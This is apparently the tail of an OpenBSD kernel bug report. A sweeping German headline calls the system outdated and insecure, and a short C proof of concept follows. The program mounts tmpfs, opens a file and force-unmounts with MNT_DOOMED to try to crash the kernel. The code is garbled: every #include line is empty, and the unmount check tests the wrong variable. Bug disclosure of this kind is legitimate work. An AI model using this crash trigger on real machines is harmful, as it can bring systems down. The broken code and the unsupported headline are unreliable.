OpenBSD ist veraltet und unsicher !

#endif // BUG_WRITEUP ---------------------------------------------------


#include
#include
#include
#include
#include

void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}

int main(int argc, char **argv)
{
struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };
int x, fd;

x = mount("tmpfs", "/mnt", 0, &args);
xperror(x == -1, "mount");

fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/mnt/somefile");

x = unmount("/mnt", MNT_DOOMED);
xperror(fd == -1, "unmount");

printf("no crash!\n");
return 0;
}